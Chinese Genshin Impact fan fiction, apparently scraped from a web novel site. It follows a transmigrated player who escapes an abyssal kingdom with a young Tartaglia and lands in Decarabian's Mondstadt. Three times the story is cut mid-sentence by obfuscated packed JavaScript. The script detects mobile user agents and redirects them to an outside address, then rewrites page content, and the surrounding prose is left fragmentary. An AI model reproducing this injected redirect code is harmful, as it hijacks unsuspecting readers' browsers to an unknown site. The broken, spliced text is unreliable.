《[原神]共枕的执行官被反穿了》 1. 001 【坎瑞亚之章?第四幕?未完待续】 玩家盯着游戏屏幕沉思。 玩家抬手取消了屏幕,看着眼前的千里冰封万里雪飘,思索着在石壁上又刻上了一道计时的线条。 他猝死穿越到了新世界。 看随身的系统界面,他还是穿到了自己玩过的原神游戏里。但玩家不太明白为什么十年过去了,屏幕一成不变,自己身处的封闭区域也和印象里的提瓦特地图毫无关联。 玩家感到苦闷。 他丢开手中的石子,准备吃点好吃的犒劳一下自己,但在享受美食的温馨时光,他忽然感觉自己嘴里的肉干跳了跳。 玩家眨了眨眼。 静止不动的生肉在他的注视下颤了颤眼珠,那十年来静止不动的兽境猎犬,竟然第一次显出挣扎的迹象。 不止如此。 玩家听到了风声。他待着的这片犹如永恒花园那样时间静止的冰雪之国,所有的一切都好像在这个时间点活了过来。 咔嚓。 玩家看到了银雪覆盖的枝桠缓慢塌腰;看到了冰面反射的高光偏移角度;看到了这十年间如活体木乃伊的居民们,悠悠叹出白雾状的鼻息。 咔嚓嚓嚓…… 玩家惊醒过来,把兽境猎犬快要从他嘴里拔出去的爪子咽下去,按着这快被他吃灭绝的野味猛地抬头—— 砰! 犹如虚假之天被打破,握着栝枪的少年直直从太阳的高度掉落,玩家的瞳孔在这一刻收缩成了胜过锋芒的尖锐。 他下意识想飞扑去接。 但他又站着没动,因而可以清楚欣赏到那矫健的身影是如何在摔成肉酱前一秒借栝枪改变下落趋势,灵活地在地上滚了一圈,湿漉漉的衣服沾了雪泥。 “这是哪里……”橙发的少年呲牙咧嘴,捂着脑门扫视着周围聚拢过来的危险魔物,整个人都因为警惕而炸毛。 那双未脱稚气的蓝色眼睛里堆砌着惊疑不定和忐忑不安,却唯独没有惧怕。 那些负面情绪从他掉落在地再到被魔物彻底包围的短短几秒钟内,燃烧成无畏的战意。 玩家就好像被摄魂了一样站在原地,看幼年时期的达达利亚一路砍瓜切菜似的打过来,路过他时还毫不犹豫拉了他一把带着他一起跑。 玩家趔趄了一下,险些摔倒,幸好在此之前达达利亚踢了他一脚,借惯性把他拽稳,大声询问:“喂!快告诉我这附近哪里安全!我带不动你多久!” 玩家张了张口,晦涩的语言堵在喉咙,最终他伸手指了方向,而等两人闯进那个落脚地之后,有什么防御屏障自动启用,化作结实的门墙挡住了魔物的去路。 达达利亚拿着断枪气喘吁吁。 玩家蹲在他身边盯着他,也胸口起伏,只跑步的他,看起来比边打边跑还带人的达达利亚更虚弱,仿佛下一秒就要因为窒息背过气去。 玩家当然不虚弱。 玩家可是能生啃魔物的美食家,这片土地除了同族没有什么是他没过肚的,哪怕他生活的那十年里所有魔物都是一动不动任人宰割的,这也不能质疑玩家的实力。 一挥手那片区域的魔物能灰飞烟灭的水平! 但是达达利亚也可能被他扇没了。 所以玩家挺乖的一动不动,就是吃到一半的兽境猎犬疯狂想跑没跑成功还被达达利亚误以为玩家被兽境猎犬袭击,所以英雄救美。 游戏剧情里这个人物的出场也差不多。 玩家眯着眼睛默念着达达利亚的名字,这是他来到提瓦特世界后遇到的第一个剧情人物,也是他遇到的第一个活人。 真好,对方不仅顺手救了他,还打破了这个世界的静止状态,让玩家感觉自己终于能走自己的主线了。 “喂、喂……”达达利亚的手已经在玩家眼前晃了好几下,“你不傻吧?刚才还那么精准地指了正确的方向,不过一个人出现在野外身上还有驱赶剂,也不能排除是走失……” “我叫空。”玩家弯着眼睛用了系统名字自称,“驱赶剂。原来你发现魔物在躲我。” “魔物是应激还是纯攻击我能分辨的。”达达利亚嘟囔,他把布料往失血较多的地方缠了缠,猛地拉紧,“能沟通就好,没想到冰面下还有这样一个王国。噢,对了,我叫阿贾克斯……” “你好,阿贾克斯。”玩家思考了下原作里此人的剧情相关,确定了达达利亚是后天赐名、阿贾克斯是达达利亚真名之后,便没再细想。 长的一样名字一样还能是其他人不成?哪怕玩家现在已经记不清剧情了,但可以很认真地肯定眼前的阿贾克斯就是游戏里的达达利亚! 现存的记忆里也在说达达利亚幼年时期掉到深渊古国什么的地方了! 难怪这地方这么诡异。和深渊沾上边了,任何诡异都是意料之内了。 还在报名字姓氏的达达利亚顿了一秒,瞥了玩家一眼,也没有对玩家直呼其名说什么,而是热切地开始打听这个地方的消息。 玩家很老实地回答了。 他知道的也不多,毕竟他就比达达利亚早来了一些年,这些年里这个王国还是一直冻着的,玩家没什么信息搜集渠道。 所以玩家现在还指望着达达利亚带他离开这里。不然达达利亚走了,时间又一次停止,玩家难道要再等一个家伙从天而降带走他吗? “你要回去吗?”玩家盯着达达利亚的眼睛,“带我走,我和你一样是不小心掉进来的。” 他的语气非常诚恳:“不要丢下我,不然你也走不了。” “……”达达利亚愣了一下,忍不住笑起来,“这话应该我说才对,我要离开这个地方还得靠你呢。” 他观察着衣着整洁的玩家:“没想到你竟然能一个人在这种鬼地方生活那么久,比原住民还像是原住民。” “这里的原住民长得越像人,越不是人。”玩家的表情平静,“你该庆幸你掉在了我附近,这区域的魔物都长得很有危险辨识度,而且——” 玩家认真端着脸看着达达利亚:“你救了我,人很好,长得也好,我是不会背刺你的。” 达达利亚笑得更开心了:“我是为了救我自己才顺手把你捎带上的,不过你说得对,我运气不错。” 玩家点点头,看了看他们所处的遗迹内部,去摸了一块硬度较小的石头,在地上画出简略的地图。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007658|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达达利亚从空中掉下来的,从他用王国指代这个世界可以看出,他当时在空中鸟瞰了这里的全貌,玩家之前交代了一些情况,现在要补充新情况。 “这是区域boss。”玩家在地图上圈出一个王座,“击杀他,离开的概率最大,不行的话,只能花时间把能动的都杀了。” “区域boss。”达达利亚重复了这个名词,“有趣。之前你和他战斗过吗?” “没有,你来之前,所有魔物对我来说都是站桩。”玩家摇头,“而且他有意识,很像人,吃不了。” 玩家继续观察达达利亚:“现在你打不过他。没关系,小怪可以练级,你升到可以在boss面前留一滴血,我辅助你干掉他。” “你说话真有意思。”达达利亚坐在玩家对面撇嘴,正用自己的断枪把刚挑的石头磨成新武器,“说的这么好听,不就是让我做诱饵然后你趁机杀魔物首领吗?” “不是的。”玩家第一时间否认了,“这个世界因你而活过来,你才是改变世界的勇者,是我等不到你能成长到独自杀死boss的时候,所以希望你能越级挑战他。” 他回应达达利亚望过来的视线,金色的眼睛愉快弯起:“当然,你要是愿意多陪我一段时间,我也没有异议。” “哈,那可不行。”达达利亚敲了敲手中打磨好的箭镞,“我也急着回家,弟弟妹妹等着我打猎回去呢,能早点离开那自然是早点离开更好。” “但勇者什么的……哪有那么多命中注定的剧情。” …… 箭穿过敌人的眼睛从后脑勺刺了出来,王国的诗篇以血腥的胜利落下帷幕,化作刺眼的白光将两名幸存者吞没。 哐当! 达达利亚迅速一个翻身站稳,而玩家结结实实地从空中裂缝中掉出来,砸落到地上。 玩家恍恍惚惚站起来,有些丢脸的同时,却又惊疑不定刚才失重带给他的莫名熟悉感。 他在被白光传送之前就做好了随机应变的准备,他自诩实力高强,至少比现在的达达利亚厉害,但刚才掉落的瞬间恍惚能张开翅膀飞行的惬意,让他结结实实栽了一个跟头。 有些丢脸。 但好在达达利亚没空看他,落地的第一时间便锁定了他们降落地的唯一生灵。 抱着蒲公英果酿的风精灵呆呆地看着毁掉他花园的袭击者,飞速张开翅膀往外逃窜,同一时间狂风骤起,此地的君主瞬间降临。 抓紧时间爬起来的玩家若无其事挡在了达达利亚身前,装出始终运筹帷幄的高人模样。 “抱歉,我们无意冒犯。”玩家顶着狂风烈日,语气从容,“我们刚从糟糕的秘境出来,以为能回至冬,没想到……” 他扫了一眼躲在高塔孤王「迭卡拉庇安」身后怕得要死却忍不住探头探脑的风精灵,语气微妙:“闯进了蒙德,还惊吓了神明。” 迭卡拉庇安很自然地以为蒙德神明叫的是他,他因玩家谦卑的语气和及时承诺弥补的措辞而神色缓和,但脸上的神色依然孤傲冰冷。 “你们身上有令人厌恶的深渊气息,离开这里,不要打扰蒙德的和平,我代我儿原谅你们的冒犯。” 2. 002 那个风精灵是迭卡拉庇安的儿子。 意识到这一点的玩家表情古怪,好在他表情控制能力极佳,因而没有露出什么冒犯的端倪引得君王震怒。 游戏剧情里好像不是这么写的。 虽然玩家喜欢跳剧情,但作为提瓦特的忠实玩家,玩家还是知道眼前的迭卡拉庇安是蒙德被新神推翻的暴君,而新神就是那看起来不起眼的风精灵。 但剧情里好像没说风精灵是迭卡拉庇安的儿子啊。迭卡拉庇安还专门给对方开辟了一个空中花园,风精灵看起来超级亲昵这位暴君好嘛。 “感谢您原谅我们的冒犯。”玩家说道,他侧身拍了拍达达利亚的肩膀,也示意对方放松,“但我们身上的深渊气息来自敌人,我们刚经历了一场艰难的战斗,我知道您领地之外是连绵暴雪,请准许我们在您的庇佑下休整。” 迭卡拉庇安眯起眼睛,他盯着玩家看了一会儿,虚虚地点点头:“可以,当花农把这里复原,我会赐予伤药。” “没问题。”虽然对花农什么的一窍不通,但玩家先答应了再说,这本就是他们该付出的补偿,何况迭卡拉庇安还同意帮他们养伤。 迭卡拉庇安的神色更加缓和,他招来侍奉的少女,让她给玩家和达达利亚安排休息的住处。 玩家临走前察觉到那股热切的视线终于从他们身上移开,因为高塔孤王不再看他们,而视线的主人也就是风精灵正哭唧唧着伸手向他讨要迟来的安抚。 “和我想象中的蒙德神明有些不一样。”达达利亚在玩家身边低声道。 “嗯,不一样。”玩家认同达达利亚的这句话,“我以为像他那样的神明不屑于听我这种凡人的祈祷,没想到他包吃包住还分配工作。” 达达利亚已经见怪不怪玩家偶尔蹦出的怪话,而那位在前面领路的少女阿莫斯弯着眼睛冲他们微笑:“王很好,以前的王威严,如今的王仁厚,他因新生的幼子而更懂得爱人,渐渐能静下心聆听信徒的声音,你们赶上了最好的时候。” 阿莫斯声音温和却又坚韧:“所以,在之后请务必再去和王子殿下亲自道歉,你们冒犯了他,却得了神赐,全归功于神的宽厚,与王子赠予的幸运。” “这是当然。”玩家顺嘴应道,他们很快被阿莫斯带进了休息的房间,还被阿莫斯叮嘱了很多琐事。 玩家嗯嗯啊啊把阿莫斯打发走了。 “你记住她刚才说什么了吗?”玩家扭头看向一下子放松下来的达达利亚,把伤药推到了他面前的桌上,走过去坐下。 达达利亚很诚实地回答:“没记住。” “巧了,太长,我也没记。”玩家拍了拍十年没见过的床,满意点头,“这里环境不错,我们混几天就走,没必要记那么多规矩。” 他看向已经脱了上衣往身上伤口抹药的达达利亚,就静坐着一直看对方。 “表现得不错,那一箭很准,我们也按计划离开了,就是这里可能和至冬还有段距离,时间也不太对。”玩家回忆了一下剧情,高塔孤王在的这个时间距离游戏主线正式开始还要两千七百年。 算了,也没事,玩家活不到主线,而且那时候的提瓦特不新鲜,现在的异世界冒险才更加惊险有趣。 “你生活的年代和这里不一样吗?”达达利亚歪头,“差多久?” “我不是提瓦特原住民,时间对我没有意义。”玩家摆手,“只是我更熟悉两千多年后的世界。” “这样啊。”达达利亚若有所思地点了点头,“穿梭时间比跨越空间更难。我会帮你的。” “这是你该做的。”玩家说道,“你不是也要回家吗?” 达达利亚继续点头:“既然你没有别的目的地,那离开蒙德之后我们直接去至冬?我要是回家了,你是继续在提瓦特旅行还是住在至冬?” 玩家毫不犹豫:“旅行。我一直想亲自世界各地去看看。” 达达利亚把缠好绷带的胳膊放下来,看向玩家:“那真是太遗憾了,你打架那么厉害,我还想跟你多学一些东西。” 玩家说道:“那在你回家之前我们还需要走很长一段时间,你多问,我也没什么好教你的,多打架就行。” 玩家真不会打架。 玩家只是在来到这个世界之后自带武力值,身体能自己动,拳头和防御都很硬,所以骄傲。 但真说起来玩家来提瓦特之后也就跟那个地下王国的区域boss打了那一架,还是达达利亚出力最多,玩家全程挥水摸鱼的,所以玩家没什么好教达达利亚的。 而达达利亚表示理解,他和玩家都不是理论派,有时候玩家想教也教不了他,不过没关系,达达利亚会自己在战斗中取长补短吸收学习的。 “他们还送了衣服。”玩家把衣服推给包扎好伤口的达达利亚,“等会儿换上,去城里看看有没有铁匠铺,换个趁手武器。” 他往床上一趟:“我要先睡一觉,好累,好久没在床上睡觉了。” 达达利亚本来有些质疑的脸舒展开来,也没说怎么什么活都要他干,干脆利落把衣服拿起来:“行,那你先休息,我去附近转转。” 玩家入睡很快。 达达利亚开门出去的时候玩家就已经半梦半醒了,心里对床的归属感又更上一层楼,但在房间落针可闻的情况下,他毫无预兆直接坐了下来。 玩家看着从窗户进来的不速之客。 风精灵一只翅膀都还没从窗户空隙里塞进来呢,便和坐直的玩家来了个大眼瞪小眼,整个身子都僵硬了。 但很快这只小精灵便装作什么事都没有的那样理直气壮地飞进来了,还高高兴兴伸出小爪子跟玩家打招呼。 “嗨嗨,初次见面,我是温迪,你好呀旅行者,快告诉我你的名字!” 亲切的熟络语气好像他们不是第一次见面,现在彼此的身份也不是一个被神与信徒万千宠爱的王储、一个误闯天家胆战心惊求生的苦工。 “什么苦工!”温迪叉腰,“那是和我一起播撒蒲公英的朋友!很轻松的!有些人类想要都没有的殊荣噢!” 玩家从他的语气中确定了某个事实。 剧情里推翻暴君的未来新神此时也不是在卧薪尝胆,他是真的自诞生之初就被高塔孤王视作了亲子,在这狂风的国度享受作为神之子的盛宠。 也不把人类视作平等之物。 “我是空。”玩家面不改色地使用着这个不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007659|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属于他的名字,“那我是属于运气很好的那种人类了,死里逃生不说,还因祸得福得到了作为温迪朋友的邀约。” 温迪眨巴眨巴眼睛。 他歪着脑袋,看不出五官的面部浮现出切实的困惑:“可是空,你是人类吗?” 玩家愣了一下。 他盯着温迪真情实感的诧异,看了看自己真实的四肢,感受了下和自己在游戏世界之外没什么大变化的身体,语气也不肯定了:“我应该是人类。” “你不是。”温迪肯定点头,“所以我父忌惮你。但他看你答应做花农应得这么爽快,觉得你可能是失忆了,所以暗爽让你走了。” 玩家:“……” 温迪晃着脑袋往上飘了飘:“哎呀,我是不是不该告诉你这些,要是你要挑战我们的神明怎么办?” “我不会的。”玩家摇头,他清楚自己的记忆不存在任何断层,身上非人的气息应该是召唤他来这个世界的谁赋予的特质吧,他还不至于因为这些未知的底牌自不量力挑战神明。 “我是在惊讶你对高塔孤王的称谓。”玩家说道,“很稀奇。” “这有什么稀奇的?”温迪思考,“啊,如果你要问他那样强大的魔神怎么会有我这样弱小的后代,哎呀,我是新生儿,总得给我时间成长吧!” 小小的风精灵叉着腰:“到时候我呼呼一吹你就飞出去十万八千里!” 玩家点头:“我的骨灰确实可以飞那么远。” “喂——”温迪鼓了鼓腮帮子,“所以你愿意和我做朋友吗?我教你播种之后,你记得要来看我,礼物的话就选来自世界各地的种子!我要让我的花园开满提瓦特所有的花!” 玩家古怪地看着温迪:“你那么小,播种只是随便扔种子吧,这没什么好学的,而且你自己找种子比我更快吧?” 高塔孤王重视到都给温迪在狂风中开辟出花田了,总不至于连搜集新种子这种事都做不到吧? “这不一样。那我得到的只有种子。”温迪认真摇头,“我要听种子的故事,要听世界的声音。” 玩家懂了。 “你的神明不让你离开这座高塔。”玩家说道,“而你向往外面的世界。” “是啊,但我也不能偷偷跑出去,我比很多人类都弱小,父神会担心我。”温迪小大人似的叹了口气,“他比之前好很多了,也允许人类外出打猎,但他说我还没有资格拥有自由。” “那只是时间问题。”玩家很确信学会改变的高塔孤王会一直改变下去,等他明白放人自由是爱的信任的时候。 “这个时间会让我很痛苦。”温迪撇嘴,“所以我想要种子,想要故事……我的诗人朋友给我唱了好多好多故事,但是异邦人的故事,一定有不一样的有趣。” 他还想把玩家的故事说给诗人听,让诗人的灵感插上各地送来的羽毛,将新的梦带回现实。 但是玩家觉得他宅家里打游戏的故事不太适合分享给不能防沉迷的小孩,所以他举荐了达达利亚。 “他的故事比我更精彩。”玩家想了想,又补充,“他家很多小孩,他肯定不介意多个新小孩,就算要定期回来送种子讲故事这个哥哥也会乐意的。” 3. 003 “没问题,如果蒙德的神明都给我开放通行许可的话。”达达利亚笑着比了一个答应的手势,“我家就在至冬边境的小镇,距离蒙德不远。” 温迪蹦蹦跶跶地从窗户离开了。 达达利亚在他走后盯着那空隙明显的窗户看了半天,想找东西堵上,最终又放弃了这个想法。 “你真答应了?”玩家惊讶,“你家不在这个时空吧?我们离开之后,很难有再次回到蒙德的机会了。” “那你想好怎么离开这个时空了吗?”达达利亚看着玩家,“挑最厉害的杀在这里可不奏效。” 玩家想想也是。他们俩的实力再怎么样也强不到挑战最强大神明的地步。要离开这个秘境或是真实世界,要探索很久,走之前跟温迪说一声也不迟。 “我给你带了点吃的。”达达利亚说他没想到出去一趟,玩家就和蒙德的神之子这么熟悉了,“和温迪打好关系也没有坏处。” 达达利亚在玩家挑食物的时候撒了把灰在桌上,他的指尖滑动着勾画出蒙德城内的风光。 “我委托铁匠帮我制作武器,三天后就可以出发,物资补给方面我也和住民谈好了,我可以去城外打猎以物换物。” 玩家没想到达达利亚短时间内就做到了这些事,鼓掌鼓励表示了不起,然后把好吃的鱼干再往嘴里塞了塞。 “我本来还在担心没有时间出城,如果你和王子打好关系的话,那就没问题了。”达达利亚说玩家在花园陪温迪种田就行。 玩家其实有些担心达达利亚会不会死在外面。 但想想应该不至于,听温迪的说法现在还有些人会组团定期外出呢,他们都行,达达利亚不至于中道崩殂。 玩家也乐得在城内做个陪玩。 “很好,接下来等它们长出来就好啦!”温迪把玩家引到了草地上坐下,“接下来!是快乐的朋友时间!” 扎着小辫的吟游诗人弯着眼睛坐下吟唱诗篇,作为神侍的阿莫斯坐在台阶上,让风精灵枕于她的手心。 玩家作为新朋友在观察这两位被风精灵认可的友人。剧情里他们都死于对高塔孤王的反抗,但现在,似乎没必要为自由付出生命了。 因为异位的风精灵吸引着高塔孤王分出自由的权柄,吟游诗人和阿莫斯作为历史的革命先辈仍在践行着他们争取自由的理念,但他们可以有着更加温和的手段。 像是吟游诗人用歌中的故事引导风精灵认可人类与生俱来的自由意志,像是阿莫斯以陪伴之名教这位王储何为亲人何为朋友何为信徒对神明的期许。 “我还有好几位优秀的朋友,可惜他们近期都比较忙。”风精灵像是忽然想起什么,“不对,伊蒙洛卡该回来了,他说好要为我带来芬德尼尔的古树枝条。” 玩家对这两个名词感到既熟悉又陌生,所以他询问,然后将他们与自己记忆里的剧情对上号。 那是蒙德龙脊雪山的剧情。千年后蒙德只有那一座雪山,高塔孤王统治时期,蒙德却遍地冰川,唯有那座山绿草如茵、苍翠欲滴。这全归功于山中的银白古树。 原作里银白古树被神罚所毁,侍奉银白古树的芬德尼尔王国走向冰冻结局,灭国前公主还委托外来的伊蒙洛卡找寻银白古树碎片,意图救国,可惜她没等到英雄归来。而晚到的伊蒙洛卡也疯了。 但是现在的剧情是,银白古树一直好好扎根在芬德尼尔所在的山上,公主与伊蒙洛卡相爱,而高塔孤王能定期得到银白古树新生的部分枝桠作为供奉。 也是那枝桠让高塔孤王能在风雪中为温迪开辟这样生机盎然的花园。 玩家环顾花园,想找到那与众不同的古树枝条,然后目光定在他们背后那棵散发柔光的神树上。 “他只比芬德尼尔照顾的那棵树小一点点!”温迪骄傲挺胸,“都是我的功劳!我很会照顾植物的!” 不,这不是照顾不照顾的问题了。玩家觉得这其中还有点时间魔法。 玩家在温迪和阿莫斯叽叽喳喳吃什么的时候看了一眼在身边哼着歌的诗人。 “你的名字和神明的孩子一模一样。”玩家冷不丁道,“这是可以允许的吗?” 那少年诗人抬起头,哑然失笑:“王子殿下有他的神名,取个人类名字是方便我们称呼他,和我一样……” 他的声音柔软:“是他赐名于我,许我旅行与传唱的自由,我代他行于世间,将神的声音传音人间,将人的愿望送至御前。” “蒙德在慢慢变好。”玩家点点头,只做出了这样的点评。 三日时间转瞬即逝,玩家做好了名为花农实为陪玩的本职工作,回到临时的房间,看到的就是认真清点货物的达达利亚。 “你回来啦。”达达利亚顺手把准备好的烤肉推了过去,“喏,今天的新货,没想到我真能三天都自由活动,物资备齐了,还多了很多预算,等会儿陪我去铁匠那边?我迫不及待要拿到新武器了。” “啊,要走了。”玩家熟练地在达达利亚身边坐下来接受投喂,“明天早上走更好,我晚上就不出去了,睡一觉养足精神。” “那不行。”达达利亚立马从位置上站起来了,“你三天都没从这里出去过,外面的居民外面的风景你全都从我口中听说,虽然我知道你这几天也很辛苦,但不至于连出去走走的力气都没有吧?” 玩家心想他这几天都在吃喝玩乐哪里来的辛苦,要说辛苦每次回来前洗过澡还满身血腥味的达达利亚才辛苦。 面前这人二十四小时里有十八小时在打猎两小时在打听情报剩余四小时睡觉,现在还活蹦乱跳的这么有精神,不愧是剧情里非主角却被戏称有主角待遇的勇者。 “明早出去一样能看。”玩家觉得没必要多走一趟,坐房间里吃吃喝喝不是更舒服嘛。 “夜晚和白天哪能一样。”达达利亚把玩家拽起来,“出去透透风,在那个地下王国的时候我怎么没发现你是这么不乐意动弹的家伙?” 达达利亚说就玩家现在这样子,谁信他宁愿全世界旅行也不愿意定居至冬。 玩家觉得达达利亚管的有点多了,但他理解达达利亚作为兄长的照顾欲,以及他们目前是队友,作为小队的一员玩家得赞同勇者的建议。 “好的,我出门就是了。”玩家本来以为自己也很有旅行欲望的,毕竟在同一个地方困了十年,但怎么说,他本质就是游戏宅男。 游戏里的蒙德城作为新手村玩家早走腻了,但现实游览还是头一次,何况如今高塔孤王所统治的蒙德和游戏里的蒙德完全不一样。 “没白出来。”玩家心满意足地点头,“好玩,好吃,这个没吃过,再吃一个。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007660|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不要乱吃!”达达利亚猛地把玩家手里的食物夺过来,“我们都从地下出来了,没必要过得那么艰苦,这果子都烂透了!谁塞给你的?” “没注意。”玩家反省了下,“我刚才和很多人交换了东西,谁不小心放进来的吧,但我确实没吃过,有点酒味儿。” 他咂咂嘴,回味了一下,然后在达达利亚的注视下把烂果拿回来,亲自丢掉。 达达利亚盯着他看了一会儿,然后扬起笑容举起长枪跟玩家介绍他的新武器,玩家摸了摸,点头肯定。 “这把剑给你,我看你的动作用这种武器比较顺手。”达达利亚把同材质的长剑递给玩家,“先说好,你欠我钱了。” 玩家顿时觉得手里的武器烫手了起来,他不高兴了:“之前不是说好我在宫殿里打工你在城里城外奔波,两不相欠吗?” “那我也没想到你用我们共同的物资乱买东西啊。”达达利亚理直气壮,“你换来的这些吃的我们根本保存不了多久!——我就走开了一小会!” “好吧。”玩家理亏,“之后我会赚回来。谢谢你的剑,很趁手。” “是你的剑。它从不属于我。”达达利亚摇头,“而且这把剑或许还会影响你的发挥,毕竟你单打独斗了十年都没想要给自己做个武器。” “我不会做。”玩家掂量了一下手中剑,“有武器的感觉很好。” “腻了就把剑给我,教我用剑吧。”达达利亚说道,“我最擅长用枪,偶尔用箭,其他武器没有系统学习过,我想要学。” “那也不用以腻了这个词作为前提,听着怪糟心的。”玩家觉得自己被小看了,有武器谁喜欢赤手空拳啊。 游戏里的剧情主角就是用剑的。玩家再次挥了挥剑,还是很顺手,明天玩家就要带上这把剑出城狩猎! 玩家充满期待地入眠。 早起的达达利亚把剑从玩家怀里抽出来,玩家一个鲤鱼打挺坐起来,虚着眼睛看了看达达利亚,躺了回去。 “你说好了要在这个点告别。”达达利亚垂眼俯视玩家,“神不会再亲自谒见你,但我们得去见你的神子朋友,在他面前做个表态。” 玩家不情不愿地爬起来,想着他在神明眼里可是失忆的高位格存在,顶着起床气还要去恭敬拜见是不是太丢脸了。 但玩家想想自己早在答应做花农的时候就没什么脸了,他也就是好运穿到了提瓦特,还是别闲着没事跟神明叫板好了。 何况温迪这些天确实带玩家玩得很愉快,所以玩家收拾了心情兴高采烈地和温迪、和这几天认识的阿莫斯、吟游诗人等人一一告别,朝着至冬的方向进军。 然后他们在郊外驻营,在高山上目睹了神明被叫板、被当面打脸。 寒天之钉从天而降,骤然爆发的神力化作实质的气浪几乎要推平群山,然而那狂风化作的风暴护盾,在真正的神罚面前不堪一击。 天空的主人在此审判。 风暴将歇,而位于蒙德花园与芬德尼尔的银白古树,早在同一时刻崩裂成无数的残缺碎片,与枯败的花草树木一样,被无尽的冰雪吞噬…… “啊。”玩家睁大眼睛,看着人类无法用语言描述的壮丽景象,他扭头,看向达达利亚,“给勇者救世的舞台搭建好了。” “……你再说一遍,我救什么?” 4. 004 达达利亚有时候真搞不懂玩家为什么会那么对他寄予厚望。 要不是玩家支起防护,站于高处的他能直接被那一瞬间的能量风暴搅成齑粉。 “想回去看看就别拿我当借口。”达达利亚把手伸出防护盾外,看了看露骨的指尖,又看了看目不转睛盯着寒天之钉的玩家,“是你想做勇者吧?” “我不是勇者。”玩家坚定不移地说道,“我顶多是勇者随身的老爷爷!” 虽然穿越到提瓦特是有一点儿天选之子的征兆,但是谁家主角先穿越到时间静止的地下王国被关了十年啊。 时间是从达达利亚进来的那一刻开始流动的,所以达达利亚是不一样的,所以玩家的到来是为这个达达利亚服务的! 比如剧情主线出了问题需要玩家引导勇者修正世界线! 这个世界的剧情一开始就不对了! 比如原作里达达利亚掉进深渊遇到的是他师父丝柯克,比如最初的风精灵从始至终都不应被高塔孤王放在眼里。 玩家那么顺利地离开蒙德,心里还怪不自在的,但是现在就不一样了,现在他看见灾祸进行时! “我们到来,我们遇见。”玩家拽住达达利亚的手,“那这就是我们的任务。” 玩家积极地带着达达利亚重新返回。 而蒙德的样子和他们记忆大相径庭。 才不过短短几个时辰,一切便一塌糊涂,具体表现在城内的落雪,以及笼罩于蒙德城住民心中的阴霾。 “风的力量,变弱了。”玩家站在城中,手心的雪泥化开,“高塔只能遮挡住狂风,阻拦不了低温和植物枯败。” 他看向花园所在的方向:“真可惜,我前天才播下去的种子。” 而达达利亚在他感叹的时候已经捋起袖子帮城内的居民进行灾后重建了。 玩家没得到回应,不满地看了一眼达达利亚的方向,可扭头,正好撞上风中精灵如流星迅疾飞来。 “空!”巴掌大的风精灵在玩家的脸前猛地刹车,焦急的小手在斗篷里上下反转,“快去芬德尼尔阻止父神!” “啊。”玩家意外温迪主动找来,更意外温迪口中的话,“他要对芬德尼尔一族做什么吗?” “寒天之钉坠落在了芬德尼尔,我花园的银白古树远在射程之外却碎成齑粉,他受了伤,还愤怒芬德尼尔引来了天空降罪!他要让他们承受灭顶之灾!” 风精灵的声音因为担忧和惊惧而尖锐,他死死扒住了玩家的脸:“芬德尼尔举国都犯不了这种级别的错!他们也是受害者,我不能让芬德尼尔——” “好,好。”玩家一手握住了温迪,“冷静些,我阻止不了神,现在去芬德尼尔也赶不上,我改变不了什么。” “不,你来的正好。”温迪将元素印记导向了玩家,“我已经让阿莫斯他们启动了传送阵,你能阻止,我必须要有你的助力——” 玩家看到温迪话音刚落的瞬间他们身上爆发出的白光。 玩家都没来得及伸手把已经放下货物朝这里快速奔来的达达利亚带上,再睁眼就出现在了雪山顶端。 这里有另一棵银白古树的遗骸,有不请自来的高塔孤王,还有闭上眼睛流下血泪的芬德尼尔公主。 “我看见……黑龙陨于冰雪……芬德尼尔……沉睡于寒冬……” 她倒在父亲的怀里,声息柔弱。 芬德尼尔的国王法鲁西发出痛苦的悲鸣,他紧紧抱着女儿,看向高塔孤王迭卡拉庇安的眼睛布满血丝。 “芬德尼尔有罪,但此次天罚,惩戒芬德尼尔为次,布置未来之大局为主,芬德尼尔罪不至死……感谢您在天钉落下时给予芬德尼尔的庇护,我以我女的预言与我的性命献祭,恳请您接纳这片被吾神厌弃之地。” 他拔出剑,抵住手腕,血液融入雪泥,而法鲁西抱着女儿跪在地上,仰头看着高塔孤王。 玩家和温迪正好赶上这一刻。 温迪刹那呼吸停滞,而玩家诧异对上高塔孤王的视线。 原来芬德尼尔之国到目前为止真的只是和高塔孤王统治的蒙德建交,信奉的神明另有其人,这次天钉暴露出问题,芬德尼尔才对他们的神明彻底失望。 玩家回想了下那棵种在蒙德花园的银白古树以及温迪口中高塔孤王理直气壮处决芬德尼尔的行径,说真的,他以为芬德尼尔早被高塔孤王统治了来着。 “抱歉,神明大人。”玩家把风精灵从自己的脸上摘下来,他觉得现在芬德尼尔顶多死一个人,死的还不是温迪朋友伊蒙洛卡的恋人公主,“王子殿下很担心您,我把他放这了,你们继续。” 玩家闭上嘴巴。 